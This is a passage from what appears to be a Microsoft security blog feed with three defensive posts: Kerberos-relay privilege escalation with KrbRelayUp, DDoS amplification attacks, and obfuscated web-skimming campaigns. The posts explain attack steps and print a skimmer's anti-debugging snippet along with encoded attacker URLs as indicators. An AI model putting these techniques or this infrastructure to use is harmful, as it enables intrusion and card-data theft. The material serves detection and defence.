Sometimes, however, a resource needs to request access to another resource on behalf of a different identity. A common example of this is mail delegation, wherein executives often give delegation rights to their executive assistants to send and receive emails on their behalf without providing the assistant with the executive’s password. The executive assistant isn’t authenticating as the executive; the executive has just allowed the assistant’s account to “pretend” that they are.

Resource-based constrained delegation

Initially, only users with the SeEnableDelegation role could configure delegation, typically domain admins. These domain admins can manage resources and dictate which identities can act on behalf of a different resource. They achieve this by updating the msDS-AllowedToDelegateTo property of a user account or device. This property contains a list of all the unique identifiers (service principal names, or SPNs) to which this object can delegate or act on behalf of.

However, as organizations expanded, administrators struggled to manage all the delegation requirements, raising the need for a new type of delegation: resource-based. For instance, in an organization with several file servers that all trust a web server for delegation, an admin would have to change the msDS-AllowedToDelegateTo priority in all of the different file servers to introduce a second web server. With resource-based delegation, the list of trusted computers is held on the receiving end. Thus, in our example, only the newly created server would require a change of settings.

Unsigned LDAP and relay attacks

For the RBCD method of the KrbRelayUp tool to work, the LDAP protocol must not use signing to communicate between LDAP clients and domain controllers. While this setting is still the default on Windows, as of 2019 Microsoft recommends configuring LDAP to use LDAP channel binding and signing.

LDAP is one of the main protocols that directory services tools, such as Active Directory, use to query and access directory information. By default, LDAP is vulnerable to credential relaying attacks. For example, in a credential relaying attack, a web server requesting a password to sign in would have its request relayed by an attacker to an authorized client. The attacker then relays the client reply containing the correct password back to the server, thus signing in. Once the attacker is signed in, they have the same permissions as the user whose credentials were relayed.

If LDAP signing is required, each request to the server needs to be cryptographically signed. In this case, the attacker would still be able to relay the sign-in request and reply, but all further requests from the attacker would be disregarded because each request must be signed, and the attacker doesn’t have the proper keys to do the signing.

Ms-DS-MachineAccountQuota

The final key concept behind the RBCD method of KrbRelayUp tool is the ms-DS-MachineAccountQuota attribute, which all User Active Directory objects have. This attribute is set to 10 by default, which means that any user in Active Directory can create up to 10 computer accounts associated with them. The legitimate usage of this attribute is to allow users to have multiple devices on a network that belong to them that they can then manage. However, if a compromised user doesn’t have 10 actual devices associated with their account, an attacker can create an account for a non-existing device that will be an object in Active Directory. This fake computer account isn’t associated with a real device but can perform Active Directory authentication requests as if it were.

Initially, the ability to obtain such an account was a prerequisite for this attack method, but since the release of the tool, other security researchers found ways to get around this requirement.

KrbRelayUp attack flow

To launch an attack using the RBCD method of KrbRelayUp, an attacker performs four main steps:

Step 1: Acquisition of a suitable resource

The attacker first obtains a resource suitable to be the source of an RBCD. There are several ways to obtain such a resource; the most straightforward way is to create a new computer account as discussed above.

Step 2: Modification of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute

Next, the attacker adds their resource to the current device’s list of trusted resources. To do this, the attacker starts an LDAP session and relays the credentials of the current device to the LDAP server.

The new KrbRelayUp tool implements this step with these two smaller consecutive actions:

  1. Authenticates to the LDAP service by triggering and performing a Kerberos relay attack
  2. Edits the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to add the attacker’s resource to the list of entities permitted to delegate the target device.

Step 3: Privileged ticket acquisition

Here, the attacker leverages their control over their resource gained through the first step with the trust for their resource gained through the second step. As such, the local device trusts the attacker’s resource to request a ticket addressed to the host SPN as the domain administrator. The request is made by first pretending to be the attacker’s resource and consists of three requests:

  1. AS-Req – A request to generate a Ticket Granting Ticket (TGT) for the attacker’s impersonated resource.
  2. S4U2self – A request to generate a Ticket Granting Service (TGS) ticket from an administrator to the resource.
  3. S4U2proxy – A request to generate a TGS ticket for the host SPN as an administrator delegating their access via the impersonated resource.

After this step, the attacker has a valid ticket for the local device that allows the administrator to be impersonated.

Step 4: Privileged ticket leverage

The last step leverages the attacker’s newly acquired ticket to run code on the device. In the attack, as it’s published online, the Service Control Manager (SCM) is asked to create a new service with SYSTEM permissions.

Protecting against KrbRelayUp attacks through coordinated threat defense

It’s important to note that KrbRelayUp cannot be used in attacks against organizations that are only using Azure AD. However, in hybrid identity environments where organizations synchronize their domain controllers with Azure AD, if an attacker compromises an Azure virtual machine using a synchronized account, they’ll receive SYSTEM privileges on the virtual machine.

To reduce the impact of this threat, organizations should apply the mitigations below. Microsoft 365 Defender customers can check the recommendations card for the deployment status of monitored mitigations.

Detection details

Organizations should also deploy a comprehensive security solution like Microsoft 365 Defender to detect and block this threat across the stages of the attack chain. Microsoft 365 Defender has multiple layers of dynamic protection technologies, including machine learning-based protection, and correlates threat data from email, endpoints, identities, and cloud apps to provide in-depth and coordinated threat defense. All of these are backed by threat experts who continuously monitor the threat landscape for new attacker tools and techniques.

Microsoft Defender for Identity detects activity from the first three steps of the attack flow by monitoring anomalous behavior as seen by the domain controller. Starting in version 2.180, Defender for Identity has two detections that raise an alert when this attack is attempted:

  • Suspicious Kerberos delegation attempt by a newly created computer.
  • Suspicious edit of the Resource Based Constrained Delegation Attribute by a machine account (KrbRelayUp).
This image displays an alert in Microsoft Defender for Identity. The title states "Suspicious Kerberos delegation attempt by a newly created computer" followed by the subtitle "Administrator on evilcomputer5 used a ticket to delegate access to ATTACKER." Below the titles displays an administrator icon on the left and an attacker icon on the right, with an arrow pointing from the admin to the attacker stating "delegated a ticket with access to". The evidence includes "resource based constrained delegation is configured on the resource with the Administrator as allowed to delegate", "evilcomputer5 was created on May 19 2022 at 8:45 PM", and "this alert is associated with the KrbRelayUp exploitation".
Figure 1. ‘Suspicious Kerberos delegation attempt by a newly created computer’ alert in Microsoft Defender for Identity

Microsoft Defender for Endpoint includes new and enhanced network inspection capabilities to correlate network and endpoint signals and emit high-confidence alerts. Defender for Endpoint leverages these network signals and looks for suspicious LDAP and Kerberos requests to Active Directory domain controllers to accurately detect attacks using KrbRelayUp. Defender for Endpoint also detects suspicious Kerberos sign-ins and service creations.

This image displays an alert in Microsoft Defender for Endpoint titled "Possible Kerberos local privilege escalation relay attack." The alert story displays a detailed timeline of the various detections, including "Defender detected active 'HackTool:MSIL/KrbUpRly.A!dha' in process 'Test.exe'". Under the detection includes detailed insight into the alert "Possible Kerberos local privilege escalation relay attack", such as the alert state, MITRE ATT&CK Techniques, detection information, last activity, and more.
Figure 2. ‘Possible Kerberos local privilege escalation relay attack’ alert in Microsoft Defender for Endpoint

Microsoft Defender Antivirus detects a threat from the KrbRelayUp tool as the following malware:

Microsoft 365 Defender customers may refer to the threat analytics report to determine if this threat is present in their network and to get additional details and recommendations. Threat analytics enables organizations to assess the impact of a threat to their network, review exposure and resilience, and perform mitigation, recovery, or prevention actions to stop or contain active attacks.

Learn how you can stop attacks through automated, cross-domain security with Microsoft 365 Defender.

Zeev Rabinovich and Ofir Shlomo
Microsoft 365 Defender Research Team

Resources

The post Detecting and preventing privilege escalation attacks leveraging Kerberos relaying (KrbRelayUp) appeared first on Microsoft Security Blog.

Anatomy of a DDoS amplification attack

Amplification attacks are one of the most common distributed denial of service (DDoS) attack vectors. These attacks are typically categorized as flooding or volumetric attacks, where the attacker succeeds in generating more traffic than the target can process, resulting in exhausting its resources due to the amount of traffic it receives. 

In this blog, we start by surveying the anatomy and landscape of amplification attacks, while providing statistics from Azure on most common attack vectors, volumes, and distribution. We then describe some of the countermeasures taken in Azure to mitigate amplification attacks. 

DDoS amplification attacks, what are they? 

Reflection attacks involve three parties: an attacker, a reflector, and a target. The attacker spoofs the IP address of the target to send a request to a reflector (e.g., open server, middlebox) that responds to the target, a virtual machine (VM) in this case. For the attack to be amplified the response should be larger than the request, resulting in a reflected amplification attack. The attacker’s motivation is to create the largest reflection out of the smallest requests. Attackers achieve this goal by finding many reflectors and crafting the requests that result in the highest amplification. 

The diagram illustrates how the attacker pushes a reflection attack to a target virtual machine that is hosted in Azure.
Figure 1. Reflected amplification attack

The root cause for reflected amplification attacks is that an attacker can force reflectors to respond to targets by spoofing the source IP address. If spoofing was not possible, this attack vector would be mitigated. Lots of effort has thus been made on disabling IP source address spoofing, and many organizations prevent spoofing nowadays so that attackers cannot leverage their networks for amplification attacks. Unfortunately, a significant number of organizations still allow source spoofing. The Spoofer project shows that a third of the IPv4 autonomous systems allow or partially allow spoofing.  

UDP and TCP amplification attacks 

Most attackers utilize UDP to launch amplification attacks since reflection of traffic with spoofed IP source address is possible due to the lack of proper handshake.  

While UDP makes it easy to launch reflected amplification attacks, TCP has a 3-way handshake that complicates spoofing attacks. As a result, IP source address spoofing is restricted to the start of the handshake. Although the TCP handshake allows for reflection, it does not allow for easy amplification since TCP SYN+ACK response is not larger than TCP SYN. Moreover, since the TCP SYN+ACK response is sent to the target, the attacker never receives it and can’t learn critical information contained in the TCP SYN+ACK needed to complete the 3-way handshake successfully to continue making requests on behalf of the target. 

The diagram illustrates how an attacker conducts a reflection attack in TCP. The attacker sends through SYN, then the reflector reflects packets restransmitted through SYN + ACK combination, which then sends an out-of-state SYN + ACK attack to the target virtual device.
Figure 2. Reflection attack in TCP 

In recent years, however, reflection and amplification attacks based on TCP have started emerging.  

Independent research found newer TCP reflected amplification vectors that utilize middleboxes, such as nation-state censorship firewalls and other deep packet inspection devices, to launch volumetric floods. Middleboxes devices may be deployed in asymmetric routing environments, where they only see one side of the TCP connection (e.g., packets from clients to servers). To overcome this asymmetry, such middleboxes often implement non-compliant TCP stack. Attackers take advantage of this misbehavior – they do not need to complete the 3-way handshake. They can generate a sequence of requests that elicit amplified responses from middleboxes and can reach infinite amplification in some cases. The industry has started witnessing these kinds of attacks from censorship and enterprise middle boxes, such as firewalls and IDPS devices, and we expect to see this trend growing as attackers look for more ways to create havoc utilizing DDoS as a primary weapon.  

Carpet bombing is another example of a reflected amplification attack. It often utilizes UDP reflection, and in recent years TCP reflection as well. With carpet bombing, instead of focusing the attack on a single or few destinations, the attacker attacks many destinations within a specific subnet or classless inter-domain routing (CIDR) block (for example /22). This will make it more difficult to detect the attack and to mitigate it, since such attacks can fly below prevalent baseline-based detection mechanisms. 

This diagram shows how an attacker uses reflectors to send spoofed packets to many target devices within a specific subnet hosted in Azure.
Figure 3. Carpet bombing attack 

One example of TCP carpet bombing is TCP SYN+ACK reflection, where attacker sends spoofed SYN to a wide range of random or pre-selected reflectors. In this attack, amplification is a result of reflectors that retransmit the TCP SYN+ACK when they do not get a response. The amplification of the TCP SYN+ACK response itself may not be large, and it depends on the number of retransmissions sent by the reflector. In Figure 3, the reflected attack traffic towards each of the target virtual machines (VMs) may not be enough to bring them down, however, collectively, the traffic may well overwhelm the targets’ network. 

UDP and TCP amplification attacks in Azure 

In Azure, we continuously work to mitigate inbound (from internet to Azure) and outbound (from Azure to internet) amplification attacks. In the last 12 months, we mitigated approximately 175,000 UDP reflected amplification attacks. We monitored more than 10 attack vectors, where the most common ones are NTP with 49,700 attacks, DNS with 42,600 attacks, SSDP with 27,100 attacks, and Memcached with 18,200 attacks. These protocols can demonstrate amplification factors of up to x4,670, x98, x76 and x9,000 respectively. 

This pie chart shows the volume of UDP- reflected amplification attacks observed in Azure from April 1, 2021, to March 31, 2022. The highest volume observed is 28% through NTP, while the least volume observed is 2% through Open VPN.
Figure 4. UDP reflected amplification attacks observed from April 1, 2021, to March 31, 2022

We measured the maximum attack throughput in packets per second for a single attack across all attack vectors. The highest throughput was a 58 million packets per second (pps) SSDP flood in August last year, in a short attack campaign that lasted 20 minutes on a single resource in Azure. 

This bar chart shows the packets per second flooding observed from April 1, 2021, to March 31, 2022 in Azure. The tallest bar represents the maximum observed throughput of 58 million packets per second SSDP flooding, while the shortest bar represents below 10M packets per second CharGEN flooding.
Figure 5. Maximum pps recorded for a single attack observed from April 1, 2021, to March 31, 2022 

TCP reflected amplification attacks are becoming more prevalent, with new attack vectors discovered. We encounter these attacks on Azure resources utilizing diverse types of reflectors and attack vectors. 

One such example is a TCP reflected amplification attack of TCP SYN+ACK on an Azure resource in Asia. Attack reached 30 million pps and lasted 15 minutes. Attack throughput was not high, however there were approximately 900 reflectors involved, each with retransmissions, resulting in a high pps rate that can bring down the host and other network infrastructure elements. 

This line chart shows the TCP SYN+ACK amplification attack volume on a single resource as seen on Azure. The line chart shows a spike reaching 30 million packets per second with a 15 minute duration. The 15-minute window illustrates the packets per second volume going down in the middle of the 15-minute window, and tapers off abruptly at the end of the 15-minute window.
Figure 6. TCP SYN+ACK amplification attack volume on an Azure resource in Asia

We see many TCP SYN+ACK retransmissions associated with the reflector that doesn’t get the ACK response from the spoofed source. Here is an example of such a retransmission: 

This screenshot shows a TCP SYN+ACK retransmission that doesn't get the ACK response. The screenshot highlights the information from source to destination and through which protocol it passes.

The retransmitted packet was sent 60 seconds after the first. 

Mitigating amplification attacks in Azure 

Reflected amplification attacks are here to stay and pose a serious challenge for the internet community. They continue to evolve and exploit new vulnerabilities in protocols and software implementations to bypass conventional countermeasures. Amplification attacks require collaboration across the industry to minimize their effect. It is not enough to mitigate such attacks at a certain location, with a pinpoint mitigation strategy. It requires intertwining of network and DDoS mitigation capabilities. 

Azure’s network is one of the largest on the globe. We combine multiple DDoS strategies across our network and DDoS mitigation pipeline to combat reflected amplification DDOS attacks.  

On the network side, we continuously optimize and implement various traffic monitoring, traffic engineering and quality of service (QoS) techniques to block reflected amplification attacks right at the routing infrastructure. We implement these mechanisms at the edge and core of our wide area networks (WAN) network, as well as within the data centers. For inbound traffic (from the Internet), it allows us to mitigate attacks right at the edge of our network. Similarly, outbound attacks (those that originate from within our network) will be blocked right at the data center, without exhausting our WAN and leaving our network. 

On top of that, our dedicated DDoS mitigation pipeline continuously evolves to offer advanced mitigation techniques against such attacks. This mitigation pipeline offers another layer of protection, on top of our DDoS networking strategies. Together, these two protection layers provide comprehensive coverage against the largest and most sophisticated reflected amplification attacks.  

Since reflected amplification attacks are typically volumetric, it is not only enough to implement advanced mitigation strategies, but also to maintain a highly scalable mitigation pipeline to be able to cope with the largest attacks. Our mitigation pipeline can mitigate more than 60Tbps globally, and we continue to evolve it by adding mitigation capacity across all network layers.  

Different attack vectors require different treatment 

UDP-based reflected amplification attacks are tracked, monitored, detected, and mitigated for all attack vectors. There are various mitigation techniques to combat these attacks, including anomaly detection across attacked IP addresses, L4 protocols, and tracking of spoofed source IPs. Since UDP reflected amplification attacks often create fragmented packets, we monitor IP fragments to mitigate them successfully.  

TCP-based reflected amplification attacks take advantage of poor TCP stack implementations, and large set of reflectors and targets, to launch such attacks. We adopt our mitigation strategies to be able to detect and block attacks from attackers and reflectors. We employ a set of mitigations to address TCP SYN, TCP SYN+ACK, TCP ACK, and other TCP-based attacks. Mitigation combines TCP authentication mechanisms that identify spoofed packets, as well as anomaly detection to block attack traffic when data is appended to TCP packets to trigger amplification with reflectors.  

The diagram shows how Azure uses mechanisms to stop amplification attacks as soon as a packet leaves a reflector or an attacker. Azure stops spoofed attacks in the following areas: 1. Attacks coming from an attacker-controlled reflector or direct from the attacker that is located outside Azure-protected space, with the attacks going to a target virtual machine or a reflector located inside a Azure; 2. Attacks coming from an attacker located within the Azure-protected space, and the attack is going to the reflector device outside of Azure, or an attack going through a reflector device to target another virtual machine.
Figure 7. Amplification attack detection 

Get started with Azure DDoS Protection to protect against amplification attacks 

Azure’s DDoS mitigation platform mitigated the largest ever DDoS attacks in history by employing a globally distributed DDoS protection platform that scales beyond 60Tbps. We ensure our platform and customers’ workloads are always protected against DDoS attacks. To enhance our DDoS posture, we continuously collaborate with other industry players to fight reflected amplification attacks. 

Azure customers are protected against Layer 3 and Layer 4 DDoS attacks as part of protecting our infrastructure and cloud platform. However, Azure DDoS Protection Standard provides comprehensive protection for customers by auto-tuning the detection policy to the specific traffic patterns of the protected application. This ensures that whenever there are changes in traffic patterns, such as in the case of flash crowd event, the DDoS policy is automatically updated to reflect those changes for optimal protection. When a reflected amplification attack is launched against a protected application, our detection pipeline detects it automatically based on the auto-tuned policy. The mitigation policy, that is automatically set for customers, without their need to manually configure or change it, includes the needed countermeasures to block reflected amplification attacks. 

Protection is simple to enable on any new or existing virtual network and does not require any application or resource changes. Our recently released Azure built-in policies allow for better management of network security compliance by providing great ease of onboarding across all your virtual network resources and configuration of logs. 

To strengthen the security posture of applications, Azure’s network security services can work in tandem to secure your workloads, where DDoS protection is one of the tools we provide. Organizations that pursue zero trust architecture can benefit from our services to achieve better protection. 

Learn more about Azure DDoS Protection Standard 

Amir Dahan and Syed Pasha
Azure Networking Team

References 

1 The Spoofer project 

2 Weaponizing Middleboxes for TCP Reflected Amplification 

The post Anatomy of a DDoS amplification attack appeared first on Microsoft Security Blog.

Beneath the surface: Uncovering the shift in web skimming

May 23rd, 2022 No comments

Microsoft security researchers recently observed that web skimming campaigns now employ various obfuscation techniques to deliver and hide skimming scripts. It’s a shift from earlier tactics where attackers conspicuously injected malicious scripts into e-commerce platforms and content management systems (CMSs) via vulnerability exploitation, making this threat highly evasive to traditional security solutions. As of this writing, some of the latest skimming HTML and JavaScript files uploaded in VirusTotal have very low detection rates.

Web skimming typically targets platforms like Magento, PrestaShop, and WordPress, which are popular choices for online shops because of their ease of use and portability with third-party plugins. Unfortunately, these platforms and plugins come with vulnerabilities that the attackers have constantly attempted to leverage. One notable web skimming campaign/group is Magecart, which gained media coverage over the years for affecting thousands of websites, including several popular brands.

In one of the campaigns we’ve observed, attackers obfuscated the skimming script by encoding it in PHP, which, in turn, was embedded inside an image file—a likely attempt to leverage PHP calls when a website’s index page is loaded. Recently, we’ve also seen compromised web applications injected with malicious JavaScript masquerading as Google Analytics and Meta Pixel (formerly Facebook Pixel) scripts. Some skimming scripts even had anti-debugging mechanisms, in that they first checked if the browser’s developer tools were open.

Given the scale of web skimming campaigns and the impact they have on organizations and their customers, a comprehensive security solution is needed to detect and block this threat. Microsoft 365 Defender provides a coordinated defense that’s enriched by our visibility into attacker infrastructure and continuous monitoring of the threat landscape.

In this blog, we provide the technical details of the recent skimming campaigns’ obfuscation techniques. We also offer steps for defenders and users to protect themselves and their organizations from such attacks.

How web skimming works

This primary goal of web skimming campaigns is to harvest and later exfiltrate users’ payment information, such as credit card details, during checkout. To achieve this, attackers typically take advantage of vulnerabilities in e-commerce platforms and CMSs to gain access to pages they want to inject the skimming script into. Another common method is web-based supply chain attacks, where attackers use vulnerabilities in installed third-party plugins and themes or compromise ad networks that may inevitably serve malicious ads without the site owner’s knowledge or consent.

Attack chain diagram with icons and arrows depicting a typical web skimming attack.
Figure 1. Overview of a web skimming attack

As mentioned earlier, one notable skimming campaign is Magecart. First observed in 2010, Magecart campaigns have increased in number and become stealthier through heavy obfuscation techniques, new injection points, and delivery methods. In the last five years, popular organizations or brands have been affected by Magecart—from an airline company and online ticketing services to a sports brand and personal transporter. In 2019, tens of thousands of websites got compromised because of a misconfiguration in the cloud service provider where these sites were hosted. Such an increase in these types of attacks prompted the Payment Card Industry Security Standards Council (PCI SSC) to release a bulletin that warns users about the threat. In April 2022, PCI also released a major revision in its Data Security Standard (DSS), which now includes additional requirements for e-commerce environments to help prevent skimming.

Recent developments

In their earlier iterations, most web skimming campaigns directly targeted unpatched e-commerce platforms like Magento. Also, the malicious JavaScript they injected were very conspicuous. However, as the campaigns’ attack vectors and routines evolved, attackers also started using different techniques to hide their skimming scripts.

Malicious images with obfuscated script

During our research, we came across two instances of malicious image files being uploaded to a Magento-hosted server. Both images contained a PHP script with a Base64-encoded JavaScript, and while they had identical JavaScript code, they slightly differed in their PHP implementation. The first image, disguised as a favicon (also known as a shortcut or URL icon), was available on VirusTotal, while the other one was a typical web image file discovered by our team. Their hashes are included in the Indicators of compromise section below.

We first observed the malicious favicon in November 2021, when a few campaigns started dropping remote access trojans (RATs) on target web servers, in addition to injecting scripts into web pages. This delivery method moves away from the usual modus; it appears that attackers are now targeting the server side to inject their scripts, enabling them to bypass conventional browser protections like Content Security Policy (CSP), which prevents the loading of any external scripts. Meanwhile, the more recent image file was uploaded on the /media/wysiwyg/ directory, most likely by leveraging a vulnerability in the Magento CMS.

The insertion of the PHP script in an image file is interesting because, by default, the web server wouldn’t run the said code. Based on previous similar attacks, we believe that the attacker used a PHP include expression to include the image (that contains the PHP code) in the website’s index page, so that it automatically loads at every webpage visit.

In both images’ cases, once the embedded PHP script was run, it first retrieved the current page’s URL and looked for the “checkout” and “onepage” keywords, both of which are mapped to Magento’s checkout page.

Partial screenshot of a Magento shopping cart web page.
Figure 2. Screenshot of a Magento shopping cart page with the “checkout” keyword in the URL

Before serving the skimming script, the PHP script also checked that administrator cookies weren’t set to ensure that a web admin isn’t currently signed in. Such a check ensured that the script only targeted the site visitors (online shoppers).

Partial screenshot of a PHP code snippet.
Figure 3. Portion of the PHP script that checks for admin cookies

The skimming script was encoded multiple times using hexadecimal (Base16) and then Base64. When decoded, it had an array of strings that were referenced and substituted further to construct a complete JavaScript code. Below are snippets of the decoded skimming script.

The boms() function (Figure 4) was responsible for creating and serving the fake checkout payment form (Figure 5) that collected target users’ payment details.

Partial screenshot of a web skimming script.
Figure 4. Portion of the skimming script that creates and serves the fake checkout payment form
Partial screenshot of the fake checkout form.
Figure 5. Sample screenshot of the fake checkout form that collects user payment details

The said function is only triggered if the __ffse cookie value wasn’t set to “236232342323626326”—most probably a check to ensure that the website isn’t already infected.

Partial screenshot of a web skimming script.
Figure 6. Portion of the skimming script that checks for a specific cookie value

When the user submitted their details in the fake form, the glob_snsd() function is triggered (Figure 7), which then collected the said details in the form elements (input, select), encoded them in hex and Base64, and finally added them to the cookies (Figure 8).

Partial screenshot of a web skimming script.
Figure 7. Portion of the skimming script that launches the credential theft and exfiltration routines
Partial screenshot of a web skimming script.
Figure 8. Portion of the skimming script that performs the credential theft routine

The encoded stolen information was then exfiltrated to an attacker-controlled C2 via PHP curl requests.

Partial screenshot of a web skimming script.
Figure 9. Portion of the skimming script that performs the exfiltration routine

Concatenated and encoded skimming host URL

We also came across four lines of JavaScript injected into a compromised webpage. Like the malicious images we previously analyzed, the script in this scenario would run only when it finds the “checkout” keyword in the target web page URL. It would then fetch the skimming script hosted on an attacker-controlled domain to load a fake checkout form.

The attacker-controlled domain was encoded in Base64 and concatenated from several strings. As of this writing, the said domain is still active.

Partial screenshot of a JavaScript code.
Figure 10. Code snippet containing the concatenated and encoded URL that hosts the skimming script

The skimming script itself wasn’t obfuscated and had two main functions: getData() and __send(). getData() was responsible for getting form data on the web page, converting them to JSON, and passing it onto __send(). Interestingly, this function also checked for crawlers and other possible debugging attempts before skimming data. It specifically checked if the user had opened the browser developer tool, as seen in the snippet below:

if (devtools.open) return;
 if (/bot|googlebot|crawler|spider|robot|crawling/i.test(navigator.userAgent)) return;

The __send() function, in turn, created an image object and prepared the URL for exfiltration. Note that while it formed the image, this function loaded the URL with the captured data in the dataparameter. The parameter value was also encoded in Base64.

Partial screenshot of a web skimming script.
Figure 11. Snippet of the hosted script that exfiltrates web page data

Google Analytics and Meta Pixel script spoofing

Attackers have also started masquerading as Google Analytics and Meta Pixel (formerly Facebook Pixel) scripts to trick site administrators or developers into thinking they’re looking at non-malicious codes, thus evading detection.

The screenshot below illustrates how a Base64-encoded string was placed inside a spoofed Google Tag Manager code. This string decoded to trafficapps[.]business/data[.]php?p=form.

Partial screenshot of a web skimming script.
Figure 12. Encoded skimming script in a spoofed Google Analytics code

We also observed a similar technique where the skimming script mimicked Meta Pixel’s function parameters and JavaScript file name to avoid detection. Like the example in the previous section, the URL in this technique was encoded in Base64 and split into several strings. The concatenated string decoded to //sotech[.]fun/identity[.]js, and it contained obfuscated code. Interestingly, the decoded URL also had the query string d=GTM-34PX2SO, which is specific to Google Tag Manager and not Meta Pixel.

Partial screenshot of a web skimming script.
Figure 13. Encoded skimming script in a spoofed Meta Pixel code

The attackers behind the Meta Pixel spoofing used newly registered domains (NRDs) hosted on HTTPS to carry out their attacks. All the domains we saw associated with this skimming campaign were registered around the same time via a popular budget hosting provider, as seen in the list below. However, the actual hosting sites were hidden behind Cloudflare’s infrastructure.

  • sotech[.]fun – created August 30, 2021
  • techlok[.]bar – created September 3, 2021
  • dratserv[.]bar – created September 15, 2021

The hosted script had multiple layers of obfuscation. Based on what we were able to partially de-obfuscate, not only did the code serve the skimming script, but it also did the following:

  • steal passwords – input[name=”billing[customer_password]”]
  • perform an anti-debugging technique – function isDebugEnabled()
Partial screenshot of a JavaScript code.
Figure 14. Snippet of the encoded skimming script

Defending against web skimming

For organizations, the impact of web skimming campaigns could translate into monetary loss, reputation damage, and loss of customer trust. Web administrators and other defenders should therefore keep a close eye on such attacks. As it is, web skimming scripts closely resemble other JavaScript code used to perform legitimate business functions like web analytics. In addition, skimming scripts aren’t only found in HTML files; CSS, SVG, and other file types can also embed code that runs JavaScript once the related web pages load.

Given the increasingly evasive tactics employed in skimming campaigns, organizations should ensure that their e-commerce platforms, CMSs, and installed plugins are up to date with the latest security patches and that they only download and use third-party plugins and services from trusted sources. They must also perform a regular and thorough check of their web assets for any compromised or suspicious content. Among the similarities we found in these recent skimming scripts include the presence of  Base64-encoded strings such as “checkout” and “onepage” and the presence of the atob() JavaScript function in compromised pages. Such clues could help defenders surface these malicious scripts.

Organizations should also complement best practices with a comprehensive security solution like Microsoft 365 Defender, which can detect and block skimming scripts on endpoints and servers by coordinating threat defense across various domains. It’s also backed by threat experts whose continuous monitoring of the computing landscape for new attacker tools and techniques enriches our protection technologies. For example, in the case of Magecart, RiskIQ published a report that profiled the attacker groups behind it. Updates about the latest skimming campaigns observed are also provided.

Partial screenshot of Microsoft Defender of Endpoint UI showing the following alert:

'MageBanker' credential theft malware was detected
Figure 15. Microsoft Defender for Endpoint detecting a web skimming malware

Meanwhile, online shoppers can protect themselves from web skimming attacks by ensuring their browser sessions are secure, especially during the checkout process. They should be wary of any unexpected or suspicious pop-ups that ask for payment details. Finally, users should turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus (or a similar feature in their security product). This capability utilizes artificial intelligence and machine learning to quickly identify and stop new and unknown threats.

Learn how you can stop attacks through automated, cross-domain security with Microsoft 365 Defender.

Microsoft 365 Defender Research Team

Appendix

Indicators of compromise

File hashes (SHA-256)

Encoded URLs

Below is a list of Base64-encoded URLs injected in affected CMSs and their corresponding decoded values. These URLs host the malicious JavaScript the attackers use for web skimming.

Base64-encoded URL Actual (Decoded) URL
aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9zdGF0eXN0aWNzLnBocA== hxxps://45[.]197[.]141[.]250/statystics[.]php
aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9hbmFseXRpY3MucGhw hxxps://45[.]197[.]141[.]250/analytics[.]php
Ly9hcGl1anF1ZXJ5LmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuNS4xL2pxdWVyeS0zLjExLjAubWluLmpzP2k9 //apiujquery[.]com/ajax/libs/jquery/3[.]5[.]1/jquery-3[.]11[.]0[.]min[.]js?i=
dHJhZmZpY2FwcHMuYnVzaW5lc3MvZGF0YS5waHA/cD1mb3Jt trafficapps[.]business/data[.]php?p=form
aHR0cHM6Ly9qcXVlcmlkZXYuYXQvanF1ZXJ5LmJhLWhhc2hjaGFuZ2UubWluLmpz hxxps://jqueridev[.]at/jquery[.]ba-hashchange[.]min[.]js
aHR0cHM6Ly9qcXVlcnlzdGF0aWMueHl6L2pxdWVyeS1zdGF0aWMuanM= hxxps://jquerystatic[.]xyz/jquery-static[.]js
Ly9zb3RlY2guZnVuL2lkZW50aXR5Lmpz //sotech[.]fun/identity[.]js
Ly90ZWNobG9rLmJhci9zY2V2ZW50Lm1pbi5qcw //techlok[.]bar/scevent[.]min[.]js
Ly9kcmF0c2Vydi5iYXIvc2NyaXB0LW1pbi0yLjUuNC5taW4uanM //dratserv[.]bar/script-min-2[.]5[.]4[.]min[.]js
aHR0cHM6Ly9pZHRyYW5zZmVyLmljdS93d3cuZ29vZ2xlLWFuYWx5dGljcy5jb20vYXJvbWFvbmxpbmVzdG9yZS5jb20uanM= hxxps://idtransfer[.]icu/www[.]google-analytics[.]com/aromaonlinestore[.]com[.]js
dHJhZmZpY2FwcHMub3JnL2RhdGEucGhwP3A9ZjE2aTEz trafficapps[.]org/data[.]php?p=f16i13
aHR0cHM6Ly9jaWxlbnQtdHJhY2tpbmcuY29tL2pzL3RyYWNraW5nLTIuMS5taW4uanM= hxxps://cilent-tracking[.]com/js/tracking-2[.]1[.]min[.]js
Z29vZ2xlc2VydmljZXMub25saW5lL3Y0L2FwaS9hcGlWMi5qcw== googleservices[.]online/v4/api/apiV2[.]js
bGlnaHRnZXRqcy5jb20vbGlnaHQuanM= lightgetjs[.]com/light[.]js
anNwYWNrLnByby9hcGkuanM= jspack[.]pro/api[.]js
bWFnZWVudG8uY29tL3YzL2FwaS9sb2dzLmpz mageento[.]com/v3/api/logs[.]js
YWdpbGl0eXNjcmlwdHMuY29tL2pzL3NhZmVmaWxlLmpz agilityscripts[.]com/js/safefile[.]js
aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ== hxxps://106[.]15[.]179[.]255
aHR0cHM6Ly8xMDMuMjMzLjExLjI4L2pRdWVyeV9TdFhsRmlpc3hDRE4ucGhwP2hhc2g9MDZkMDhhMjA0YmRkZmViZTI4NTg0MDhhNjJjNzQyZTk0NDgyNDE2NA== hxxps://103[.]233[.]11[.]28/jQuery_StXlFiisxCDN[.]php?hash=06d08a204bddfebe2858408a62c742e944824164

Microsoft 365 Defender detections

Microsoft Defender Antivirus

Below are Microsoft detections that detect malicious JavaScript skimmers in web servers.

Magento skimmers

  • TrojanSpy:JS/Banker.AA
  • TrojanSpy:JS/SuspBanker.AA
  • TrojanSpy:JS/MageBanker.CC
  • TrojanSpy:JS/GTagManagerBanker.A
  • TrojanSpy:JS/GTagManagerBanker.B
  • TrojanSpy:JS/GenWebBanker.A
  • TrojanSpy:JS/FbPixelSkimming.A
  • TrojanSpy:JS/Banker.BB
  • TrojanSpy:JS/PossibleSkimmer.A

WordPress WooCommerce skimmer

  • TrojanSpy:JS/WooCommBanker.BB

PrestaShop skimmer

  • TrojanSpy:JS/PrestaBanker.BB

The post Beneath the surface: Uncovering the shift in web skimming appeared first on Microsoft Security Blog.

